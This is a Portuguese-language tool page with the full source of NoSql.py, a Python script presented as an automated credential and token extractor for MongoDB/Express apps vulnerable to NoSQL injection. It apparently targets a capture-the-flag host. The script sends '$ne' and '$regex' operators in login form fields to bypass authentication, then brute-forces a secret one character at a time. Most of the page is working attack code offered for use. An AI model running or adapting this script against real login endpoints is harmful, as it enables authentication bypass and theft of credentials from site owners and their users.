pythonWeb & SQL Injection#nosql
32 linhasNoSql.py

NoSql.py — NoSQL Injection Extractor

Extrator automatizado de credenciais e tokens para aplicações MongoDB/Express vulneráveis a injeção NoSQL usando operadores de expressão regular.

Destaques Operacionais

  • Enumeração caractere por caractere via regex com operador $regex
  • Bypass de autenticação com operadores de negação ($ne)
  • Análise de resposta HTTP baseada em conteúdo refletido para validação de acerto
  • Suporte a wordlists de charset estendidas (string.printable)

Como Executar

# Ajustar a rota e o marcador de sucesso retornado pela aplicação
url = "http://alvo.com/login"
# Executar:
python3 NoSql.py

* Ajuste as permissões de execução com chmod +x NoSql.py se necessário.

Código Fonte — NoSql.py
python
import requests
import string

url = "http://retro.hc/login/"

chars = string.printable

def extract(atual, anterior):
    data = {"email[$regex]": atual + anterior, "password[$ne]": "a"}
    r = requests.post(url, data=data)
    return r.text

def main():
    valor_completo = "^"
    while True:
        encontrou = False
        for printable in chars:
            if printable in ['*', '+', '.', '?', '|', '\\', '^', '$', '{', '}', '(', ')', '[', ']']:
                continue
            result = extract(valor_completo, printable)
            if "CS{" in result:
                valor_completo += printable
                encontrou = True
                print(f"[+] Encontrado: {valor_completo}")
                break
            print(f"[-] Testando: {valor_completo + printable}")
        if not encontrou:
            print(f"\n[✔] Valor completo extraído: {valor_completo[1:]}")
            break

main()